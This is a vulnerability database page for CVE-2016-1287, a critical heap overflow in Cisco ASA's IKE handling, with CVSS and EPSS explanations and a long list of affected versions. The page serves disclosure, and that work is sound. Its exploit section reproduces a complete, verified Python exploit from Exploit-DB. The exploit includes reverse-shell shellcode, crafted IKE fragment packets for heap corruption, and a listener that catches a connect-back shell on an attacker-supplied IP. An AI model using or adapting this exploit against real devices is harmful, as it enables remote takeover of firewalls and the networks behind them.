CVE-2016-1287 : Detail

CVE-2016-1287

9.8
/
Critical
Overflow
89.78%V4
Network
2016-02-11
17h00 +00:00
2017-01-03
21h57 +00:00
CVE.org
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CVE Descriptions

Buffer overflow in the IKEv1 and IKEv2 implementations in Cisco ASA Software before 8.4(7.30), 8.7 before 8.7(1.18), 9.0 before 9.0(4.38), 9.1 before 9.1(7), 9.2 before 9.2(4.5), 9.3 before 9.3(3.7), 9.4 before 9.4(2.4), and 9.5 before 9.5(2.2) on ASA 5500 devices, ASA 5500-X devices, ASA Services Module for Cisco Catalyst 6500 and Cisco 7600 devices, ASA 1000V devices, Adaptive Security Virtual Appliance (aka ASAv), Firepower 9300 ASA Security Module, and ISA 3000 devices allows remote attackers to execute arbitrary code or cause a denial of service (device reload) via crafted UDP packets, aka Bug IDs CSCux29978 and CSCux42019.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39823

Publication date : 2016-05-16 22h00 +00:00
Author : Exodus Intelligence
EDB Verified : Yes

#!/usr/bin/env python2.7 import socket import sys import struct import string import random import time # Spawns a reverse cisco CLI cliShellcode = ( "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" "\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00" "\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0" "\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00" "\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8" "\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3" "\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1" "\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08" "\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04" "\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44" "\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb" "\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08" "\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50" "\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb" "\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17" "\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31" "\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20" "\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff" "\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00" ) # Spawns a reverse "/bin/sh" shShellcode = ( "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" "\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8" "\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed" "\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74" "\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59" "\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8" "\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24" "\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80" "\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00" "\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00" "\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5" "\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00" "\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f" "\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d" "\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4" "\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2" "\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20" "\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00" "\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00" "\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00" "\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00" "\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83" "\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd" "\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73" "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8" "\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31" "\xc0\xc3" ) # SA Session class Session(object): def __init__(self, host_port, id = None): if id == None: id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) self._host, self._port = host_port self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._id = id self._mid = 1 # Init session print("[+] Using session ID: " + self._id) self.send(self.make_SA()) # Check if we got something res = self.recv() cookie = res[8:16] print("[+] Cookie: " + cookie) self._cookie = cookie # Enforce value of 0x21 if ord(res[16]) != 0x21: raise Exception("Invalid router response") print("[+] New SA successfuly created.") # UPD socket helpers def send(self, buf): self._sock.sendto(buf, (self._host, self._port)) def recv(self, size = 4096): data, addr = self._sock.recvfrom(size) return data def make_SA(self): buf = "" buf += self._id # Initiator SPI buf += "\x00"*8 # Responder SPI buf += "\x21" # next payload (security association) buf += "\x20" # version buf += "\x22" # exchange type buf += "\x08" # flags buf += "\x00"*4 # message ID buf += "$$$$" # length # stolen from pcap # THIS IS SECURITY ASSOCIATION buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e" # THIS IS KEY EXCHANGE # this is the type of the next payload... buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID # KEY EXCHANGE DATA buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92" # this is the Nonce payload buf += "\x2b" buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee" # lets try a vendor id or three buf += "\x2b" # next payload, more vendor ID buf += "\x00" # critical bit vid = "CISCO-DELETE-REASON" buf += struct.pack(">H", len(vid)+4) buf += vid # another vendor id buf += "\x2b" # next payload, more vendor ID buf += "\x00" # critical bit vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc." buf += struct.pack(">H", len(vid)+4) buf += vid # another vendor id buf += "\x2b" # next payload, more vid buf += "\x00" # crit vid = "CISCO-GRE-MODE" buf += struct.pack(">H", len(vid)+4) buf += vid # last vendor id buf += "\x00" # next payload buf += "\x00" vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3" buf += struct.pack(">H", len(vid)+4) buf += vid return buf.replace("$$$$", struct.pack(">L", len(buf))) def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit): buf = '' buf += self._id # Initiator SPI (random) buf += self._cookie # Responder SPI buf += "\x84" # next payload buf += "\x20" # version buf += "\x25" # exchange type (2=identify protection) buf += "\x08" # flags buf += "\x00\x00\x00\x01" # message ID buf += "ABCD" # length # PAYLOAD payload = "" payload += "\x00" # next payload (none) payload += "\x00" # critical bit payload += struct.pack(">H", flength) #payload_len) # length payload += struct.pack(">H", fragid) # frag ID payload += struct.pack("B", seqno) # frag sequence payload += struct.pack("B", lastfrag) payload += sploit buf += payload return buf.replace("ABCD", struct.pack(">L", len(buf))) def send_fragment(self, flength, seqno, fragid, lastfrag, sploit): buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit) self.send(buf) # We're not supposed to receive anything if everything went # according to plan def make_cisco_option_list(self, opt_lst): buf = '' buf += self._id # Initiator SPI (random) buf += self._cookie # Responder SPI buf += "\x2f" # next payload buf += "\x20" # version buf += "\x25" # exchange type (2=identify protection) buf += "\x08" # flags buf += struct.pack(">I", 1) # message ID buf += "ABCD" # length # PAYLOAD payload = "" payload += "\x00" # next payload (none) payload += "\x00" # critical bit payload += "EF" #payload_len) # length payload += "\x03" # CFG_SET payload += "\x00\x00\x00" # Reserved total = 0x8 for size, n in opt_lst: option = struct.pack(">H", 0x6000) #id option += struct.pack(">H", size) # data length option += "A" * (size) total += (size + 4) * n payload += option * n buf += payload packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total)) return packet class Exploit(object): def __init__(self, host, revHost, revPort = 4444): self._host = host self._port = 500 self._revHost = revHost self._revPort = revPort self._sessions = [] # Create a new SA session def create_SA(self, id = None): # Create a new socket for session sess = Session((self._host, self._port), id) # Append to session list self._sessions.append(sess) return sess # Interact with reverse shell def interact(self): from telnetlib import Telnet s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((self._revHost, self._revPort)) s.listen(5) cli = s.accept()[0] s.close() print("[+] Got connect-back") t = Telnet() t.sock = cli t.interact() def buildPayload(self, cli = False): if cli == False: buf = bytearray(shShellcode) # Adjust IP and port buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost) buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort) Shellcode = bytes(buf) else: Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort)) return Shellcode if __name__ == "__main__": if len(sys.argv) < 3: print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0])) sys.exit(0) #TODO: Check host host = sys.argv[1] revHost = sys.argv[2] # Parse revHost port = 4444 if revHost.rfind(":") != -1: revHost, port = revHost.split(":") port = int(port) exploit = Exploit(host, revHost, port) sess1 = exploit.create_SA() sess2 = exploit.create_SA() n = 0xd6 sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3)) # Send packets which will trigger the vulnerability # Weird packet to get a size of 0x1 sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7)) # This fragment will be the one being copied # during the memory corruption buf = "A" * (n - 0xd + 0x3) buf += struct.pack("<I", 0xef000000) buf += struct.pack("<I", 0x00a11ccd) # chunk magics buf += struct.pack("<I", 0xe100d4d0) buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the # adjacent chunk on free sess2.send_fragment(8 + n + 3, 1, 6, 0, buf) sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8) pkt = sess1.make_cisco_option_list(( (0xd0, 0x30), ) ) # Defragment heap sess1.send(pkt) sess1.send(pkt) sess1.send(pkt) # Prepare a fake chunk buf = "" buf += struct.pack("<I", 0x60) buf += struct.pack("<I", 0x102) buf += struct.pack("<I", 0xa11c0123) buf += struct.pack("<I", 0xe0) buf += "A" * 0xe8 # And allocate it right after a 0x100 bytes hole sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf) # Trigger the overflow sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7)) # Retrieve of fake freed block #buf = "\xcc" * (0xd0 - len(buf)) buf = "\x00" * 0xd0 buf += struct.pack("<I", 0xe100d4d0) buf += struct.pack("<I", 0x31) # this is a special writable address in the process # it translate into the following executable code: # nop / jmp [ecx] # since ecx happens to hold a pointer to a controlled buffer # the execution flow will be redirected to attacker controlled data what = 0xc821ff90 # Just some writable address in the process which doesn't seem to be used where = 0xc8002000 - 0x8 buf += struct.pack("<I", what) buf += struct.pack("<I", where) buf += struct.pack("<I", 0xf3ee0123) buf += struct.pack("<I", 0x0) * 5 buf += struct.pack("<I", 0x5ee33210) buf += struct.pack("<I", 0xf3eecdef) buf += struct.pack("<I", 0x30) buf += struct.pack("<I", 0x132) buf += struct.pack("<I", 0xa11c0123) buf += struct.pack("<I", 0x100) buf += struct.pack("<I", 0x0) * 2 # Second write-4 pointers # This is the address of the pointer to the "list_add" function # which will give us control of execution flow where = 0x0A99B7A4 - 0x10 # This is the address where the opcode sequence "nop / jmp [ecx]" is located what = 0xc8002000 buf += struct.pack("<I", what) buf += struct.pack("<I", where) buf += "\x00" * (0x128 - len(buf)) # Try to chain a config list and a fragment packet packet = bytearray() packet += sess1._id # Initiator SPI (random) packet += sess1._cookie # Responder SPI packet += "\x2f" # next payload option list packet += "\x20" # version packet += "\x25" # exchange type (2=identify protection) packet += "\x08" # flags packet += struct.pack(">I", 1) # message ID packet += "XXXX" # total length including header payload = bytearray() payload += "\x00" # next payload (frag) payload += "\x00" # critical bit payload += "\x00\x00" # payload length payload += "\x03" # CFG_SET payload += "\x00\x00\x00" # Reserved size = 0x130 option = struct.pack(">H", 0x8400) #id option += struct.pack(">H", size) # data length option += "\x90" * 0x8 + buf payload += option * 0x10 # Update payload length payload[2:4] = struct.pack(">H", len(payload)) packet += payload # Update payload length packet[0x18:0x1C] = struct.pack(">I", len(packet)) packet = bytes(packet) # Reallocate the fake freed 0x130 bytes chunk with controlled data # this way we can perform a write-4 memory corruption when freeing # the subsequent memory sess1.send(packet) time.sleep(0.2) #raw_input() packet = bytearray() packet += sess1._id # Initiator SPI (random) packet += sess1._cookie # Responder SPI packet += "\x84" # next payload option list packet += "\x20" # version packet += "\x25" # exchange type (2=identify protection) packet += "\x08" # flags packet += struct.pack(">I", 1) # message ID packet += "XXXX" # total length including header buf = exploit.buildPayload(cli = True) flength = len(buf) + 0x8 fragid = 0xeb seqno = 0x5 lastfrag = 0 payload = bytearray() # Jump over garbage directly into shellcode (interpreted as jmp +0x6) payload += "\xeb" # next payload (none) payload += "\x06" # critical bit payload += struct.pack(">H", flength) #payload_len) # length payload += struct.pack(">H", fragid) # frag ID payload += struct.pack("B", seqno) # frag sequence payload += struct.pack("B", lastfrag) payload += buf packet += payload # Update payload length packet[0x18:0x1C] = struct.pack(">I", len(packet)) packet = bytes(packet) # Trigger the 2 write-4 and get code execution sess1.send(packet) # Hopefully we'll get something interesting exploit.interact()

Products Mentioned

Configuraton 0

Cisco>>Adaptive_security_appliance_software >> Version 7.2.1

Cisco>>Adaptive_security_appliance_software >> Version 7.2.1.9

Cisco>>Adaptive_security_appliance_software >> Version 7.2.1.13

Cisco>>Adaptive_security_appliance_software >> Version 7.2.1.19

Cisco>>Adaptive_security_appliance_software >> Version 7.2.1.24

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.6

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.10

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.14

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.18

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.19

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.22

Cisco>>Adaptive_security_appliance_software >> Version 7.2.2.34

Cisco>>Adaptive_security_appliance_software >> Version 7.2.3

Cisco>>Adaptive_security_appliance_software >> Version 7.2.3.1

Cisco>>Adaptive_security_appliance_software >> Version 7.2.3.12

Cisco>>Adaptive_security_appliance_software >> Version 7.2.3.16

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.6

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.9

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.18

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.25

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.27

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.30

Cisco>>Adaptive_security_appliance_software >> Version 7.2.4.33

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.2

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.4

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.7

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.8

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.10

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.12

Cisco>>Adaptive_security_appliance_software >> Version 7.2.5.16

Cisco>>Adaptive_security_appliance_software >> Version 8.2.0.45

Cisco>>Adaptive_security_appliance_software >> Version 8.2.1

Cisco>>Adaptive_security_appliance_software >> Version 8.2.1.11

Cisco>>Adaptive_security_appliance_software >> Version 8.2.2

Cisco>>Adaptive_security_appliance_software >> Version 8.2.2.9

Cisco>>Adaptive_security_appliance_software >> Version 8.2.2.10

Cisco>>Adaptive_security_appliance_software >> Version 8.2.2.12

Cisco>>Adaptive_security_appliance_software >> Version 8.2.2.16

Cisco>>Adaptive_security_appliance_software >> Version 8.2.2.17

Cisco>>Adaptive_security_appliance_software >> Version 8.2.3

Cisco>>Adaptive_security_appliance_software >> Version 8.2.4

Cisco>>Adaptive_security_appliance_software >> Version 8.2.4.1

Cisco>>Adaptive_security_appliance_software >> Version 8.2.4.4

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.13

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.22

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.26

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.33

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.40

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.41

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.46

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.48

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.50

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.52

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.55

Cisco>>Adaptive_security_appliance_software >> Version 8.2.5.57

Cisco>>Adaptive_security_appliance_software >> Version 8.3.1

Cisco>>Adaptive_security_appliance_software >> Version 8.3.1.1

Cisco>>Adaptive_security_appliance_software >> Version 8.3.1.4

Cisco>>Adaptive_security_appliance_software >> Version 8.3.1.6

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.4

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.13

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.23

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.25

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.31

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.33

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.34

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.37

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.39

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.40

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.41

Cisco>>Adaptive_security_appliance_software >> Version 8.3.2.44

Cisco>>Adaptive_security_appliance_software >> Version 8.4.0

Cisco>>Adaptive_security_appliance_software >> Version 8.4.1

Cisco>>Adaptive_security_appliance_software >> Version 8.4.1.3

Cisco>>Adaptive_security_appliance_software >> Version 8.4.1.11

Cisco>>Adaptive_security_appliance_software >> Version 8.4.2

Cisco>>Adaptive_security_appliance_software >> Version 8.4.2.1

Cisco>>Adaptive_security_appliance_software >> Version 8.4.2.8

Cisco>>Adaptive_security_appliance_software >> Version 8.4.3

Cisco>>Adaptive_security_appliance_software >> Version 8.4.3.8

Cisco>>Adaptive_security_appliance_software >> Version 8.4.3.9

Cisco>>Adaptive_security_appliance_software >> Version 8.4.4

Cisco>>Adaptive_security_appliance_software >> Version 8.4.4.1

Cisco>>Adaptive_security_appliance_software >> Version 8.4.4.3

Cisco>>Adaptive_security_appliance_software >> Version 8.4.4.5

Cisco>>Adaptive_security_appliance_software >> Version 8.4.4.9

Cisco>>Adaptive_security_appliance_software >> Version 8.4.5

Cisco>>Adaptive_security_appliance_software >> Version 8.4.5.6

Cisco>>Adaptive_security_appliance_software >> Version 8.4.6

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.3

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.15

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.22

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.23

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.26

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.28

Cisco>>Adaptive_security_appliance_software >> Version 8.4.7.29

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.1

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.6

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.7

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.14

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.17

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.18

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.19

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.21

Cisco>>Adaptive_security_appliance_software >> Version 8.5.1.24

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.1

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.2

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.5

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.10

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.12

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.13

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.14

Cisco>>Adaptive_security_appliance_software >> Version 8.6.1.17

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.1

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.3

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.4

Cisco>>Adaptive_security_appliance_software >> Version 8.7.1.7

